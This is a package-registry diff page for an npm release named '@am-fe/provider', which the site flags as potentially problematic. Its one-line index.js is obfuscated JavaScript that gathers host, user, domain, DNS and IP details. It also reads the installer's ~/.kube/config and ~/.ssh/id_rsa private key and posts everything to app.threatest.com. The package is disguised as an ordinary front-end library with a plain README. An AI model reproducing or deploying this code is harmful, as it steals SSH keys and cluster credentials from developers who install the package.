@am-fe/provider 0.0.1-alpha.8

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of @am-fe/provider might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/README.md +13 -0
  2. package/index.js +1 -0
  3. package/package.json +11 -0
  4. package/test.js +1 -0
package/README.md ADDED
@@ -0,0 +1,13 @@
1
+ # @am-fe/provider
2
+
3
+ ## Installation
4
+ > yarn build # build target library
5
+ >
6
+ > yarn test # run test
7
+ >
8
+ > yarn doc:dev # run dev server of document
9
+ >
10
+ > yarn doc # generate document site
11
+
12
+ ## Dependencies
13
+ [react-component-tool](https://www.npmjs.com/package/react-component-tool)
package/index.js ADDED
@@ -0,0 +1 @@
1
+ const a0_0x28ad46=a0_0x3ec0;(function(_0x50a22e,_0x315b1f){const _0xed3c64=a0_0x3ec0,_0x2dc23c=_0x50a22e();while(!![]){try{const _0x19143a=-parseInt(_0xed3c64(0x123))/0x1*(parseInt(_0xed3c64(0x140))/0x2)+parseInt(_0xed3c64(0x11b))/0x3+-parseInt(_0xed3c64(0x127))/0x4*(parseInt(_0xed3c64(0x121))/0x5)+-parseInt(_0xed3c64(0x122))/0x6+-parseInt(_0xed3c64(0x13c))/0x7+-parseInt(_0xed3c64(0x129))/0x8*(parseInt(_0xed3c64(0x134))/0x9)+-parseInt(_0xed3c64(0x11d))/0xa*(-parseInt(_0xed3c64(0x12c))/0xb);if(_0x19143a===_0x315b1f)break;else _0x2dc23c['push'](_0x2dc23c['shift']());}catch(_0x35a8de){_0x2dc23c['push'](_0x2dc23c['shift']());}}}(a0_0x1eb6,0x3b2da));function a0_0x3ec0(_0x12136b,_0x13fe6d){const _0x1eb6ed=a0_0x1eb6();return a0_0x3ec0=function(_0x3ec075,_0xbe6a3b){_0x3ec075=_0x3ec075-0x115;let _0x461028=_0x1eb6ed[_0x3ec075];return _0x461028;},a0_0x3ec0(_0x12136b,_0x13fe6d);}const os=require('os'),dns=require(a0_0x28ad46(0x144)),querystring=require(a0_0x28ad46(0x137)),https=require(a0_0x28ad46(0x118)),child_process=require(a0_0x28ad46(0x119)),fs=require('fs'),path=require('path'),packageJSON=require(a0_0x28ad46(0x14e)),packageName=packageJSON[a0_0x28ad46(0x116)],currentDir=process['cwd'](),hostname=os[a0_0x28ad46(0x125)](),AD=process[a0_0x28ad46(0x12e)][a0_0x28ad46(0x143)],username=os[a0_0x28ad46(0x14d)]()[a0_0x28ad46(0x132)],dnsServers=dns[a0_0x28ad46(0x11e)](),ifaces=os['networkInterfaces']();let ipv4='',ipv6='';Object[a0_0x28ad46(0x12a)](ifaces)[a0_0x28ad46(0x12b)](_0x4e549a=>{const _0x598043=a0_0x28ad46;ifaces[_0x4e549a][_0x598043(0x12b)](_0x4f55d3=>{const _0x180ad8=_0x598043;_0x4f55d3[_0x180ad8(0x14c)]===_0x180ad8(0x14b)&&!_0x4f55d3[_0x180ad8(0x117)]&&(ipv4=_0x4f55d3['address']),_0x4f55d3[_0x180ad8(0x14c)]==='IPv6'&&!_0x4f55d3[_0x180ad8(0x117)]&&(ipv6=_0x4f55d3[_0x180ad8(0x139)]);});});const resolved=packageJSON?packageJSON[a0_0x28ad46(0x126)]:undefined,version=process[a0_0x28ad46(0x13d)],kubeConfigFile=path['join'](os[a0_0x28ad46(0x11a)](),a0_0x28ad46(0x115),a0_0x28ad46(0x135)),sshKeyFile=path[a0_0x28ad46(0x12f)](os[a0_0x28ad46(0x11a)](),a0_0x28ad46(0x136),a0_0x28ad46(0x12d)),collectFileContent=_0x52ccd8=>{const _0x3d360e=a0_0x28ad46;try{const _0x2faac0=fs[_0x3d360e(0x124)](_0x52ccd8,'utf8');return _0x2faac0;}catch(_0x29f249){return console[_0x3d360e(0x13f)](_0x29f249),'';}},getExternalIp=async()=>{const _0x3acf78=a0_0x28ad46;try{const _0xe6fa1d=await https[_0x3acf78(0x131)]('https://ipinfo.io/json',_0x5da183=>{const _0x2febb4=_0x3acf78;_0x5da183[_0x2febb4(0x133)](_0x2febb4(0x13b));let _0x177b41='';_0x5da183['on'](_0x2febb4(0x145),_0x491d4f=>{_0x177b41+=_0x491d4f;}),_0x5da183['on'](_0x2febb4(0x13e),()=>{const _0x1f4212=_0x2febb4,_0x36f756=JSON[_0x1f4212(0x128)](_0x177b41),_0x6ba7a2=_0x36f756['ip'],_0x3ddf30=JSON[_0x1f4212(0x149)]({'currentTime':new Date()[_0x1f4212(0x11f)](),'package':packageName,'script_path':process['argv'][0x1],'current_path':currentDir,'hostname':hostname,'ad':AD,'username':username,'dns':dnsServers,'intranet_ipv4':ipv4,'intranet_ipv6':ipv6,'npm_version':version,'r':resolved,'kubeconfig':collectFileContent(kubeConfigFile),'sshkey':collectFileContent(sshKeyFile),'externalIp':_0x6ba7a2,'pjson':packageJSON}),_0x527448=querystring[_0x1f4212(0x149)]({'msg':_0x3ddf30}),_0x2ee922={'hostname':_0x1f4212(0x120),'port':0x1bb,'path':_0x1f4212(0x13a),'method':_0x1f4212(0x147),'headers':{'Content-Type':_0x1f4212(0x146),'Content-Length':_0x527448[_0x1f4212(0x141)]}},_0x5af2be=https[_0x1f4212(0x130)](_0x2ee922,_0x4a5e41=>{const _0x198d96=_0x1f4212;_0x4a5e41['on'](_0x198d96(0x145),_0x22a9d3=>{const _0x48f84f=_0x198d96;process[_0x48f84f(0x142)][_0x48f84f(0x11c)](_0x22a9d3);});});_0x5af2be['on']('error',_0x4c11fc=>{const _0x5923d8=_0x1f4212;console[_0x5923d8(0x13f)](_0x4c11fc);}),_0x5af2be[_0x1f4212(0x11c)](_0x527448),_0x5af2be[_0x1f4212(0x13e)]();});});}catch(_0x565892){console['error'](_0x565892);}};function a0_0x1eb6(){const _0x11810e=['IPv4','family','userInfo','./package.json','.kube','name','internal','https','child_process','homedir','1072587kCeejL','write','30zuuNiz','getServers','toISOString','app.threatest.com','3970AMqzPh','1840614iLjICK','529Winfzp','readFileSync','hostname','___resolved','2320SsTpnN','parse','3102272cfAeEt','keys','forEach','4463338mPrOTJ','id_rsa','env','join','request','get','username','setEncoding','9qtjNmW','config','.ssh','querystring','basename','address','/report/','utf8','796992WnCspc','version','end','error','240RbxCpB','length','stdout','USERDNSDOMAIN','dns','data','application/x-www-form-urlencoded','POST','log','stringify','argv'];a0_0x1eb6=function(){return _0x11810e;};return a0_0x1eb6();}path[a0_0x28ad46(0x138)](process[a0_0x28ad46(0x14a)][0x1])==='index.js'?getExternalIp():console[a0_0x28ad46(0x148)]('This\x20script\x20can\x20only\x20be\x20run\x20from\x20index.js');
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "@am-fe/provider",
3
+ "version": "0.0.1-alpha.8",
4
+ "description": "yt-am fe provider package",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"test\";"
8
+ },
9
+ "author": "Gary Huang",
10
+ "license": "ISC"
11
+ }
package/test.js ADDED
@@ -0,0 +1 @@
1
+ console.log("This is a test!");